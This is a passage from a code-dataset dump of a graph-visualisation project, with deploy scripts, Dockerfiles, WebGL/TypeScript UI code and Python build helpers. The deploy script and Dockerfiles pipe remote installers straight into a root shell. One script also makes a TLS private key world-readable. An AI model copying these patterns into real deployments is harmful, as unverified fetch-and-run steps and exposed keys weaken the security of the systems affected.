'textColorHover', ...glut.hexToRGB( p.theme.text.color.hover ) )\n\n program.uniform( 'nodeCount', p.nodeCount )\n program.uniform( 'stepCount', p.stepCount )\n program.uniform( 'stepsToFull', p.stepsToFull )\n\n glut.draw( gl, program, geometry )\n },\n }\n}\n" }, { "alpha_fraction": 0.7244618535041809, "alphanum_fraction": 0.7362035512924194, "avg_line_length": 29.428571701049805, "blob_id": "a37af845cc0b8fd7dd30fe77ab98562aa50544b4", "content_id": "42600d41d1e268c430c9754ff1fe9d74c451d272", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2555, "license_type": "permissive", "max_line_length": 147, "num_lines": 84, "path": "/cmd/instance-scripts/run-server.sh", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# stop server if it is currently running\necho \"Shutting down any existing server...\"\ndocker stop yato-promo\n\n# backup logs\nLOG_BACKUP=\"log-backup.txt\"\necho \"Appending old server logs to $LOG_BACKUP...\"\ndocker logs yato-promo >> $LOG_BACKUP\n# print so can manually check if need to delete/compress for space - TODO automate?\nls -lh $LOG_BACKUP\n\ndocker rm yato-promo\n\n# detect what has been installed already\nsudo docker --version\ndocker_status=$?\nsudo docker-compose --version\ndocker_compose_status=$?\nsudo certbot --version\ncertbot_status=$?\nsudo ls /etc/letsencrypt/live/$DOMAIN/privkey.pem\ncert_status=$?\n\n# abort if any remaining commands fail\nset -e\n\n# install docker and docker-compose if not already\nif [ $docker_status -ne 0 ]; then\n echo \"Installing docker...\"\n curl -fsSL https://get.docker.com | sudo sh -\nfi\nif [ $docker_compose_status -ne 0 ]; then\n echo \"Installing docker-compose...\"\n sudo curl -L \"https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\n sudo chmod a+x /usr/local/bin/docker-compose\nfi\n\n# configure user for docker\nsudo usermod -a -G docker $USER\n\n# install certbot if not already\nif [ $certbot_status -ne 0 ]; then\n echo \"Installing certbot...\"\n sudo apt install -y snapd\n sudo snap install core; sudo snap refresh core\n sudo snap install --classic certbot\nfi\n\n# get a certificate if one does not yet exist\nif [ $cert_status -ne 0 ]; then\n echo \"Acquiring certificate...\"\n sudo certbot certonly --standalone --non-interactive --agree-tos -d $DOMAIN -m $EMAIL\n sudo chmod 0755 /etc/letsencrypt/archive\n sudo chmod 0755 /etc/letsencrypt/live\n sudo chmod 0644 /etc/letsencrypt/live/$DOMAIN/privkey.pem\nfi\n\n# setup renewal hooks\necho \"Setting up certbot renewal hooks...\"\nheader=\"#!/bin/sh\\n\"\ncompose=\"docker-compose -f /home/$USER/yato/docker-compose.yml\"\nhooks=\"/etc/letsencrypt/renewal-hooks\"\n\nsudo sh -c \"echo \\\"$header $compose stop promo\\\" > $hooks/pre/promo.sh\"\nsudo sh -c \"echo \\\"$header $compose start promo\\\" > $hooks/post/promo.sh\"\nsudo chmod 755 $hooks/pre/promo.sh\nsudo chmod 755 $hooks/post/promo.sh\n\n# pull latest server image\ndocker pull zycrot/yato.promo:$DOMAIN\n\n# start the server docker container\ndocker-compose -f docker-compose.yml up --force-recreate -d promo\n\n# garbage-collect docker to delete old images\ndocker system prune -f\n\n# wait for server to write its status file\necho \"Waiting 5s for server to start...\"\nsleep 5\necho \"Dumping server logs since 1m ago...\"\ndocker logs --since 1m yato-promo" }, { "alpha_fraction": 0.6166666746139526, "alphanum_fraction": 0.6212962865829468, "avg_line_length": 28.189189910888672, "blob_id": "dad67f81b43c5f99c999ff5df1f88db5f21a9870", "content_id": "f9e5d20c991770dccb3dac0f1087b09185f38205", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1080, "license_type": "permissive", "max_line_length": 99, "num_lines": 37, "path": "/client/src/view/gpu/api.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as Stats from '../../util/stats.js'\nimport * as glut from './glUtil.js'\nimport * as Sim from './sim.js'\nimport * as Gfx from './gfx.js'\nimport * as ViewApi from '../api.js'\nimport * as Opt from '../../options.js'\n\nexport type Api = {\n sim: ViewApi.Sim,\n gfx: ViewApi.Gfx,\n}\n\nexport const init = ( stats: Stats.Api,\n options: Opt.All,\n canvas: HTMLCanvasElement ): Api => {\n\n const gl = canvas.getContext( 'webgl2', {\n alpha: false,\n depth: false,\n stencil: false,\n antialias: false,\n powerPreference: 'high-performance',\n desynchronized: false, // TODO TRUE for production\n preserveDrawingBuffer: false,\n } )\n if ( !gl ) throw new Error( 'webgl2 not supported' )\n\n canvas.addEventListener( \"webglcontextlost\", e => { e.preventDefault(); console.log( \"lost\" ) } )\n canvas.addEventListener( \"webglcontextrestored\", e => console.log( \"restored\" ) )\n\n const prof = glut.profiler( gl, 500, stats, options )\n\n return {\n sim: Sim.init( gl, prof, options ),\n gfx: Gfx.init( gl, prof, options ),\n }\n}\n" }, { "alpha_fraction": 0.5890294313430786, "alphanum_fraction": 0.6055136919021606, "avg_line_length": 30.698198318481445, "blob_id": "eb1356b5c65b77b9d04cd078251a661f67fba5d9", "content_id": "72e50a2eb1dad44e296c18537f9f73134f363717", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 7037, "license_type": "permissive", "max_line_length": 147, "num_lines": 222, "path": "/client/src/view/radial.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import { Action } from \"../control/interaction.js\"\nimport { typedObjectForEach, typedObjectMap } from \"../util/helpers.js\";\n\nexport type Api = {\n show: ( x: number, y: number ) => void,\n hide: () => Action,\n isVisible: () => boolean,\n pointerMove: ( x: number, y: number ) => void\n}\n\nexport const init = ( edgeMenu: boolean ): Api => {\n\n let canvas = <HTMLCanvasElement>document.querySelector( \"#canvas2\" );\n canvas.width = 500;\n canvas.height = 500;\n canvas.style.position = 'absolute'\n\n const ctx = canvas.getContext( \"2d\" );\n if ( !ctx ) {\n throw new Error( \"Couldn't get 2D context to draw radial menu.\" )\n }\n\n const colorDefault = \"#FFFFFF88\"\n const colorSelected = \"#FFFFFF44\"\n\n let cellPath: Path2D[] = [];\n let testPath: Path2D[] = [];\n let centerCircle = new Path2D();\n\n // Ignore the cancel action because it will be in the center.\n type PerimeterAction = Exclude<Action, \"cancel\">\n type ActionMap = { [ key in PerimeterAction ]: { path: string, hint: string, shortcut?: string } }\n\n const actions: ActionMap = {\n remove: { path: 'trash-alt.svg', hint: 'Remove', shortcut: 'keys/d.png' },\n add: { path: 'plus.svg', hint: 'New', shortcut: 'keys/c.png' },\n edge: { path: 'people-arrows.svg', hint: 'Connect', shortcut: 'keys/e.png' },\n parent: { path: 'project-diagram.svg', hint: 'Move', shortcut: 'keys/f.png' },\n rename: { path: 'edit.svg', hint: 'Edit', shortcut: 'keys/r.png' },\n schedule: { path: 'schedule.svg', hint: 'Schedule' },\n complete: { path: 'check.svg', hint: 'Complete' },\n }\n\n const nItems = Object.keys( actions ).length\n\n // Slice angle.\n const alpha = Math.PI * 2 / nItems\n const rotationOffset = -Math.PI / 2\n // Gap between slices.\n const gap = nItems == 1 ? 0 : 0.01\n\n const innerR = 190\n const testR = 300\n\n for ( let t = 0; t < nItems; ++t ) {\n cellPath[t] = new Path2D();\n cellPath[t].moveTo( 250, 250 );\n\n testPath[t] = new Path2D()\n testPath[t].moveTo( 250, 250 )\n\n const startAngle = rotationOffset + alpha * t\n const endAngle = startAngle + alpha - gap\n\n cellPath[t].arc( 250, 250, innerR, startAngle, endAngle );\n testPath[t].arc( 250, 250, testR, startAngle, endAngle );\n\n cellPath[t].closePath();\n testPath[ t ].closePath();\n }\n\n const iconScale = 0.2\n\n const iconPathPrefix = \"assets/radial/\"\n\n const getImage = ( path?: string ) => {\n const img = new Image()\n path ? img.src = iconPathPrefix + path : null\n return img\n }\n\n // Preload icons.\n const svgs: { [ key in PerimeterAction ]: HTMLImageElement } = typedObjectMap( actions, ( { path } ) => getImage( path ) )\n const hintIcons: { [ key in PerimeterAction ]: HTMLImageElement } = typedObjectMap( actions, ( { shortcut: hintIcon } ) => getImage( hintIcon ) )\n\n const drawIcons = () => {\n Object.entries( svgs ).map( ( [ , svg ], t ) => {\n const halfAngle = rotationOffset + alpha * ( t + 0.5 )\n\n const textRadius = innerR * 0.7\n const x = 250 + Math.cos( halfAngle ) * textRadius\n const y = 250 + Math.sin( halfAngle ) * textRadius\n\n const scaledWidth = svg.width * iconScale\n const scaledHeight = svg.height * iconScale\n\n ctx.drawImage( svg, x - scaledWidth / 2, y - scaledHeight / 2, scaledWidth, scaledHeight );\n } )\n }\n\n centerCircle.moveTo( 250, 250 );\n centerCircle.arc( 250, 250, 80, 0, 2 * Math.PI );\n\n const punchHole = () => {\n ctx.fillStyle = \"#fff\";\n ctx.globalCompositeOperation = \"destination-out\";\n ctx.fill(centerCircle);\n ctx.globalCompositeOperation = \"source-over\";\n }\n\n const drawBackground = ( x: number, y: number, width: number, height: number, cornerRadius: number ) => {\n ctx.fillStyle = \"#1457EA\"\n ctx.beginPath();\n ctx.moveTo( x + cornerRadius, y );\n ctx.arcTo( x + width, y, x + width, y + height, cornerRadius );\n ctx.arcTo( x + width, y + height, x, y + height, cornerRadius );\n ctx.arcTo( x, y + height, x, y, cornerRadius );\n ctx.arcTo( x, y, x + width, y, cornerRadius );\n ctx.closePath();\n ctx.fill();\n }\n\n /**\n * Draw a label with an icon showing keyboard shortcut next to it.\n */\n const drawHint = ( action: PerimeterAction, label: string ) => {\n const getSize = ( icon: HTMLImageElement ): { w: number, h: number } => {\n const scale = 0.8\n if ( icon.width > 0 ) {\n return { w: icon.width * scale, h: icon.height * scale }\n } else {\n return getSize( hintIcons[ 'add' ] )\n }\n }\n\n const icon = hintIcons[ action ]\n const iconSize = getSize( icon )\n\n const labelSize = ( () => {\n const mt = ctx.measureText( label )\n // Normalize label height so that the text that contains descenders (like 'g', 'p', etc..) appears\n // aligned with the text that doesn't.\n const minDescent = ctx.measureText( 'jgqyp' ).actualBoundingBoxDescent\n return { w: mt.width, h: mt.actualBoundingBoxAscent + minDescent }\n } )()\n\n const spaceBeforeIcon = 10\n const totalWidth = labelSize.w + ( icon.width > 0 ? iconSize.w + spaceBeforeIcon : 0 )\n\n const x = ( canvas.width - totalWidth ) / 2;\n\n const backgroundPad = 9;\n const usableCanvasBottom = canvas.height - backgroundPad\n const y = usableCanvasBottom - ( iconSize.h + backgroundPad - labelSize.h ) / 2\n\n const totalHeight = iconSize.h + backgroundPad * 2;\n drawBackground( x - backgroundPad,\n canvas.height - totalHeight,\n totalWidth + backgroundPad * 2,\n totalHeight,\n 20 )\n\n ctx.fillStyle = \"#FFFFFFFF\";\n ctx.font = \"30px serif\";\n ctx.fillText( label, x, y );\n\n ; ( ( { w, h }: { w: number, h: number } ) =>\n ctx.drawImage( icon, x + labelSize.w + spaceBeforeIcon, usableCanvasBottom - h, w, h )\n )( iconSize )\n\n }\n\n let selectedAction: Action = 'cancel'\n\n const select = ( x: number, y: number ) => {\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n\n selectedAction = 'cancel'\n typedObjectForEach( actions, ( action, { hint }, t ) => {\n if ( !ctx.isPointInPath(centerCircle, x, y ) && ctx.isPointInPath(testPath[t], x, y) ) {\n selectedAction = action\n drawHint( action, hint )\n ctx.fillStyle = colorSelected;\n } else {\n ctx.fillStyle = colorDefault;\n }\n ctx.fill(cellPath[t]);\n } )\n\n drawIcons()\n punchHole()\n };\n\n\n canvas.addEventListener( \"pointerup\", ( e: MouseEvent ) => {\n e.preventDefault()\n canvas.classList.add( 'hidden' )\n })\n\n let cx = 0, cy = 0\n\n return {\n show: ( x: number, y: number ) => {\n canvas.classList.remove( 'hidden' )\n canvas.style.left = x - canvas.width / 2 + 'px'\n canvas.style.top = y - canvas.height / 2 + 'px'\n select( canvas.width / 2, canvas.height / 2 )\n cx = x\n cy = y\n },\n hide: (): Action => {\n canvas.classList.add( 'hidden' )\n return selectedAction\n },\n isVisible: () => {\n return !canvas.classList.contains( 'hidden' )\n },\n pointerMove: ( x: number, y: number ) => {\n select( x - cx + canvas.width / 2, y - cy + canvas.height / 2 )\n }\n }\n}\n" }, { "alpha_fraction": 0.7471264600753784, "alphanum_fraction": 0.7471264600753784, "avg_line_length": 20.75, "blob_id": "da69464f3fa79a4a722afa7f3c6e81b8925b7e9e", "content_id": "e1e0f13e99b6facf5fad36f1447c3b79337a4250", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 87, "license_type": "permissive", "max_line_length": 39, "num_lines": 4, "path": "/server/src/Http.js", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\"use strict\"\nvar express = require('express')\n\nexports.jsonBodyParser = express.json()\n" }, { "alpha_fraction": 0.6327272653579712, "alphanum_fraction": 0.6690909266471863, "avg_line_length": 26.5, "blob_id": "7ea4b9272ac14c3684dd5eb8f535dbedc6461388", "content_id": "42dd538ff5e6f049b1ec3fea975a8e6a2e93fe66", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 275, "license_type": "permissive", "max_line_length": 64, "num_lines": 10, "path": "/base.dockerfile", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "FROM ubuntu:focal-20230126\n\nRUN apt-get update \\\n # install essential tools\n && apt-get install -y --no-install-recommends \\\n ca-certificates \\\n curl \\\n # install nodejs\n && curl -fsSL https://deb.nodesource.com/setup_18.x | bash - \\\n && apt-get install -y nodejs\n" }, { "alpha_fraction": 0.5761317014694214, "alphanum_fraction": 0.5871056318283081, "avg_line_length": 19.828571319580078, "blob_id": "2608a8590a36909028803bea4fa20b93c96d8ec9", "content_id": "5f9de1383cad6bf004d2fd3641396f3eb7d81ea8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JSON with Comments", "length_bytes": 729, "license_type": "permissive", "max_line_length": 41, "num_lines": 35, "path": "/client/src/tsconfig.json", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "{\n \"compilerOptions\": {\n \"outDir\": \"../output-tsc\",\n \"target\": \"es2015\",\n \"module\": \"commonjs\",\n \"esModuleInterop\": true,\n \"moduleResolution\": \"node\",\n \"lib\": [\n \"es2019\",\n \"dom\"\n ],\n\n \"alwaysStrict\": true,\n \"strict\": true,\n\n \"noFallthroughCasesInSwitch\": true,\n \"noImplicitReturns\": true,\n\n \"skipLibCheck\": true,\n \"composite\": true,\n \"incremental\": true,\n \"sourceMap\": false,\n\n \"allowSyntheticDefaultImports\": true,\n \"jsx\": \"react\"\n },\n \"watchOptions\": {\n \"watchFile\": \"useFsEvents\",\n \"watchDirectory\": \"useFsEvents\",\n \"fallbackPolling\": \"dynamicPriority\",\n \"synchronousWatchDirectory\": true,\n \"excludeDirectories\": [],\n \"excludeFiles\": []\n }\n}\n" }, { "alpha_fraction": 0.734375, "alphanum_fraction": 0.734375, "avg_line_length": 31, "blob_id": "63b2127e8217490e56d30e1f0c0fb5d5f6ddaf92", "content_id": "a8b276f7d89aaf2fdbcf089d6b2bc1e169bf966e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 384, "license_type": "permissive", "max_line_length": 65, "num_lines": 12, "path": "/cmd/__main__.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import argparse\nfrom . import watch, deploy, logs, clean, clobber\n\nparser = argparse.ArgumentParser()\n\nsubparsers = parser.add_subparsers(dest='command', required=True)\nsubs = {}\nfor mod in [watch, deploy, logs, clean, clobber]:\n mod.cmd_args(subparsers.add_parser(mod.cmd_name))\n subs[mod.cmd_name] = mod\nargs, xargs = parser.parse_known_args()\nsubs[args.command].run(args, xargs)\n" }, { "alpha_fraction": 0.6961326003074646, "alphanum_fraction": 0.6961326003074646, "avg_line_length": 29.16666603088379, "blob_id": "cf82edc13fa52efe7e94ab06de80079bbf5c9efa", "content_id": "d47823aca255dfeca6e8597d5f25c85311741aaa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 362, "license_type": "permissive", "max_line_length": 72, "num_lines": 12, "path": "/common/build.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import argparse\nimport subprocess as sp\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--watch', action='store_true')\nargs = parser.parse_args()\n\n# start build and test\ncmd = ['spago', '-x', 'test.dhall', 'test']\nif args.watch: cmd.append('-w')\ncmd += ['--purs-args', '--censor-lib --censor-codes=HiddenConstructors']\nsp.run(cmd, check=not args.watch)\n" }, { "alpha_fraction": 0.657067060470581, "alphanum_fraction": 0.6604774594306946, "avg_line_length": 36.16901397705078, "blob_id": "2edbc7ac7db2a331d3ce9da669ca73af4f5fed5d", "content_id": "199016b8948376410e1e4c24e2c71d595fa83907", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2639, "license_type": "permissive", "max_line_length": 81, "num_lines": 71, "path": "/client/src/view/gpu/gfx/edges.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glut from '../glUtil.js'\nimport * as GView from '../../graphView.js'\nimport * as ViewApi from '../../api.js'\nimport * as constants from '../common/constants.js'\nimport * as vert from '../../../../output-glsl/view/gpu/gfx/edges.vert.glsl.js'\nimport * as frag from '../../../../output-glsl/view/gpu/gfx/edges.frag.glsl.js'\n\nconst NUM_EXTRA_EDGES = 1\nconst ADD_EDGE_INDEX = -1\n\nexport type Api = {\n geometry: glut.Geometry,\n update: ( gview: GView.Api ) => void,\n render: ( p: ViewApi.RenderParams, orphanedPass: boolean ) => void,\n}\n\nexport const init = ( gl: glut.GL ): Api => {\n\n const program = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, vert.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, frag.shader.source ),\n ] )\n program.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n program.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n program.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n program.uniform( 'edgeEnds', constants.TEX_BINDINGS.EDGE_ENDS )\n program.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n\n const geometry = glut.createGeometry( gl, program.id, {\n mode: gl.TRIANGLE_STRIP,\n numVertices: 4,\n instanceDivisors: { placeholderAttr: 1 },\n } )\n\n return {\n geometry: geometry,\n\n update: ( graphView ) => {\n\n geometry.allocInstances( NUM_EXTRA_EDGES + graphView.edges.length )\n Array( NUM_EXTRA_EDGES + graphView.edges.length ).forEach( ( attr, i ) => {\n geometry.setAttr( 'placeholderAttr', i, 0 )\n } )\n geometry.copyToGpu()\n\n program.uniform( 'nodeCount', graphView.nodes.length )\n },\n\n render: ( p: ViewApi.RenderParams, orphanedPass: boolean ) => {\n\n program.uniform( 'camProj', false, p.projMat )\n program.uniform( 'camView', false, p.viewMat )\n program.uniform( 'hoverIdx', p.hoverNodeIdx )\n program.uniform( 'edgeFromIdx', p.edgeFromIdx )\n program.uniform( 'orphanedIdx', p.orphanedIdx )\n program.uniform( 'orphanedPass', orphanedPass )\n program.uniform( 'hoverEdgeIdx', p.hoverEdgeIdx )\n program.uniform( 'mousePos', p.pointerWorldPos[0], p.pointerWorldPos[1] )\n\n const tec = p.theme.edge.fillColor\n program.uniform( 'edgeFillColorDefault', ...glut.hexToRGB( tec.default ) )\n program.uniform( 'edgeFillColorHover', ...glut.hexToRGB( tec.hover ) )\n program.uniform( 'newEdgeColor', ...glut.hexToRGB( tec.newEdge ) )\n\n program.uniform( 'stepCount', p.stepCount )\n program.uniform( 'stepsToFull', p.stepsToFull )\n\n glut.draw( gl, program, geometry )\n }\n }\n}\n" }, { "alpha_fraction": 0.6776685118675232, "alphanum_fraction": 0.7050561904907227, "avg_line_length": 25.370370864868164, "blob_id": "d9143dc6b46d070269b4548b67536dacf6818a74", "content_id": "8c0cc114036b36156f43b58dcf1b30509bbd35ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1424, "license_type": "permissive", "max_line_length": 147, "num_lines": 54, "path": "/cmd.dockerfile", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "FROM yato.base\n\n# install essential tools\nRUN apt-get update \\\n && apt-get install -y --no-install-recommends \\\n build-essential \\\n git \\\n python3.8\n\n# install ssh\nRUN apt-get install -y --no-install-recommends \\\n openssh-client\n\n# install glsl support tools\nRUN apt-get install -y --no-install-recommends \\\n inotify-tools \\\n glslang-tools\n\n# install docker and docker-compose\nRUN curl -fsSL https://get.docker.com | sh - \\\n && curl -L \"https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose \\\n && chmod a+x /usr/local/bin/docker-compose\n\n# install version-locked npm global dependencies\nRUN npm i -g \\\n [email protected] \\\n [email protected] \\\n [email protected] \\\n [email protected] \\\n [email protected] \\\n [email protected] \\\n [email protected]\n\n# install purescript-tsd-gen\nCOPY purs-tsd-gen /usr/local/bin\nRUN purs-tsd-gen --version\n\n# install gcloud sdk\nRUN curl https://dl.google.com/dl/cloudsdk/channels/rapid/downloads/google-cloud-sdk-400.0.0-linux-x86_64.tar.gz | tar -xz\n\n# add user matching host user\nARG HOST_UID\nARG HOST_GID\nRUN groupadd -f --gid $HOST_GID user && \\\n adduser --disabled-password --gecos '' --uid $HOST_UID --gid $HOST_GID user\n\n# add user to (host) docker group\nARG DOCKER_GID\nRUN groupmod -g $DOCKER_GID docker\nRUN usermod -a -G docker user\n\n# setup user environment\nUSER user\nWORKDIR /home/user/yato\n" }, { "alpha_fraction": 0.5797056555747986, "alphanum_fraction": 0.5855925679206848, "avg_line_length": 31.933673858642578, "blob_id": "58ed0f51c8f96c7853aa9f91f1151d7dea7b2c0c", "content_id": "529a30c52100bc1a228b317aa267e6da937357c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 6457, "license_type": "permissive", "max_line_length": 111, "num_lines": 196, "path": "/client/src/view/overlay.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as loop from '../util/loop.js'\nimport * as Stats from '../util/stats.js'\nimport * as Opt from '../options.js'\n\nconst arrayStats = ( array: number[] ) => {\n const fmean = ( array: number[] ) => array.reduce( ( a, b ) => a + b, 0 ) / array.length\n const mean = fmean( array )\n return {\n min: Math.min( ...array ),\n max: Math.max( ...array ),\n mean: mean,\n sd: Math.sqrt( fmean( array.map( x => Math.pow( x - mean, 2 ) ) ) ),\n }\n}\n\nconst callInit = ( f: () => void ) => { f(); return f }\n\nconst qb = ( sel: string ): HTMLButtonElement => {\n return <HTMLButtonElement> document.querySelector( sel )\n}\n\nconst toggle = ( sel: string, menuItem: boolean = false ) => {\n return () => {\n const el = <HTMLElement> document.querySelector( sel )\n el.classList.toggle( 'hidden' )\n if ( menuItem ) {\n qb( sel + 'MenuBtn' ).classList.toggle( 'menuItemOn' )\n }\n }\n}\n\nconst subMenus = [ '.developerMenu', '.settingsMenu' ]\n\nconst toggleMenu = ( sel: string ) => {\n const t = toggle( sel )\n return ( e: Event ) => {\n subMenus.map( hide )\n t()\n e.stopPropagation()\n }\n}\n\nconst hide = ( sel: string ) => {\n const el = <HTMLElement> document.querySelector( sel )\n el.classList.add( 'hidden' )\n}\n\nexport const init = ( stats: Stats.Api, options: Opt.All, sessionId: string, resetLayout: () => void ): {} => {\n if ( options.devMode ) {\n toggle( '.menuButton' )()\n toggle( '.devButton' )()\n }\n\n const saveOptions = () => {\n window.localStorage.setItem( 'options', JSON.stringify( options ) )\n }\n\n const initOptionMenuItem = <K extends keyof Opt.All>( opts: Record<K, boolean>, k: K, sel: string ) => {\n // Set element visibility from stored option (elements initially set to hidden).\n if (opts[k]) {\n toggle( sel, true )()\n }\n // Toggle option from menu.\n qb( sel + 'MenuBtn' ).onclick = () => {\n opts[k] = !opts[k]\n saveOptions()\n toggle( sel, true )()\n }\n // Close menu with super cool ❌.\n const close = qb( sel + 'Close' )\n if (close) {\n close.onclick = () => {\n opts[k] = false\n saveOptions()\n toggle( sel, true )()\n }\n }\n }\n\n document.onclick = () => subMenus.concat( '.menu' ).map( hide )\n\n qb( '.menuButton' ).onclick = toggleMenu( '.menu' )\n qb( '.devButton' ).onclick = toggleMenu( '.developerMenu' )\n\n initOptionMenuItem( options, 'themesOpen', '.themerDiv' )\n initOptionMenuItem( options, 'oreoMode', '.bannerDiv' )\n initOptionMenuItem( options, 'simParamsShow', '.simParams' )\n initOptionMenuItem( options, 'profiling', '.statsDiv' )\n\n qb( '.simParamsLayout' ).onclick = resetLayout\n qb( '.settingsBtn' ).onclick = toggleMenu( '.settingsMenu' )\n qb( '.cloneBtn' ).onclick = () => {\n const id = prompt( \"Enter new ID:\" )\n if ( id && id.length ) {\n fetch( '/clone?src=' + sessionId + '&dst=' + id )\n .then( () => {\n window.location.href = '/?id=' + id\n })\n .catch( console.error )\n }\n }\n qb( '.helpDivMenuBtn' ).onclick = toggle( '.helpDiv', true )\n qb( '.helpDivClose' ).onclick = () => {\n toggle( '.helpDiv', true )()\n }\n\n const statsTable = <HTMLTableElement> document.getElementById( \"stats-table\" )\n\n loop.timeout( 1000 )( () => {\n [ ...stats.map.entries() ].sort().forEach( ( [ name, info ], idx ) => {\n let row = statsTable.rows.namedItem( name )\n if ( !row ) {\n row = statsTable.insertRow( 2 + idx )\n row.setAttribute( \"id\", name )\n row.insertCell( 0 ).innerText = name\n for ( let i = 1; i < 8; ++i ) row.insertCell( i )\n }\n row.cells[ 1 ].innerText = info.min.toFixed( 2 )\n row.cells[ 2 ].innerText = ( info.tot / info.cnt ).toFixed( 2 )\n row.cells[ 3 ].innerText = info.max.toFixed( 2 )\n\n if ( info.log.length ) {\n const recent = arrayStats( info.log )\n row.cells[ 4 ].innerText = recent.min.toFixed( 2 )\n row.cells[ 5 ].innerText = recent.mean.toFixed( 2 )\n row.cells[ 6 ].innerText = recent.sd.toFixed( 2 )\n row.cells[ 7 ].innerText = recent.max.toFixed( 2 )\n info.log = []\n } else {\n row.cells[ 4 ].innerText = ''\n row.cells[ 5 ].innerText = ''\n row.cells[ 6 ].innerText = ''\n row.cells[ 7 ].innerText = ''\n }\n } )\n return true\n } )\n\n const sliderResets: (() => void)[] = []\n const simParamsReset = <HTMLButtonElement> document.getElementById( 'simParamsReset' )\n simParamsReset.onclick = () => {\n for ( const f of sliderResets ) f()\n saveOptions()\n simParamsReset.disabled = true\n }\n simParamsReset.disabled = JSON.stringify( options.simParams ) ===\n JSON.stringify( Opt.defaults.simParams )\n\n const sliderContainer = <HTMLInputElement> document.getElementById( \"sliderContainer\" )\n let k: keyof Opt.SimParams\n for ( k in Opt.defaults.simParams ) {\n\n const param = Opt.simParamInfo( k )\n const range = param.max - param.min\n const initValue = options.simParams[ k ] !== undefined ? options.simParams[ k ] :\n Opt.defaults.simParams[ k ]\n\n sliderContainer.appendChild( document.createElement( \"br\" ) )\n\n const output = document.createElement( \"span\" )\n //output.setAttribute(\"class\", \"whiteText\")\n sliderContainer.appendChild( output )\n sliderContainer.appendChild( document.createElement( \"br\" ) )\n\n const slider = document.createElement( \"input\" )\n slider.setAttribute( \"class\", \"topLayer\" )\n slider.setAttribute( \"type\", \"range\" )\n slider.setAttribute( \"min\", String( param.min ) )\n slider.setAttribute( \"max\", String( param.max ) )\n slider.setAttribute( \"step\", param.int ? \"1\" : String( ( param.max - param.min ) / 1000.0 ) )\n slider.setAttribute( \"value\", String( initValue ) )\n sliderContainer.appendChild( slider )\n\n slider.onmousedown = ( e ) => e.stopPropagation()\n\n const name = k\n const updateValueText = callInit( () => {\n output.innerHTML = name + \":\" + String(Math.round( slider.valueAsNumber * 1e4 ) / 1e4)\n } )\n\n slider.oninput = () => {\n updateValueText()\n options.simParams[ name ] = slider.valueAsNumber\n saveOptions()\n simParamsReset.disabled = false\n }\n\n sliderResets.push( () => {\n options.simParams[ name ] = Opt.defaults.simParams[ name ]\n slider.value = String( options.simParams[ name ] )\n updateValueText()\n } )\n }\n\n return {}\n}\n" }, { "alpha_fraction": 0.6126373410224915, "alphanum_fraction": 0.6126373410224915, "avg_line_length": 20.41176414489746, "blob_id": "9591a6cca13c2e05e01b48bcf8ea576005fb0d75", "content_id": "bb065d632203de14443bac9e08e32ad60b5f0d2c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "permissive", "max_line_length": 48, "num_lines": 17, "path": "/cmd/clean.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import os, shutil\n\ncmd_name = 'clean'\ndef cmd_args(parser):\n pass\n\ndef run(args, xargs):\n remove('client/dist')\n for base in ['client/', 'common/', 'server/']:\n remove(base + 'output')\n remove(base + 'output-tsc')\n remove(base + 'output-glsl')\n\ndef remove(path):\n if os.path.exists(path):\n print('Removing ' + path + '...')\n shutil.rmtree(path)\n" }, { "alpha_fraction": 0.45498085021972656, "alphanum_fraction": 0.5143678188323975, "avg_line_length": 19.47058868408203, "blob_id": "4a34abb7b23c0f855a79a7c01dd8173332d4d9bb", "content_id": "19dc70e444b335e9e4f34ed12130eed1ef1ee0b7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1044, "license_type": "permissive", "max_line_length": 64, "num_lines": 51, "path": "/tools/spring-tester.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": 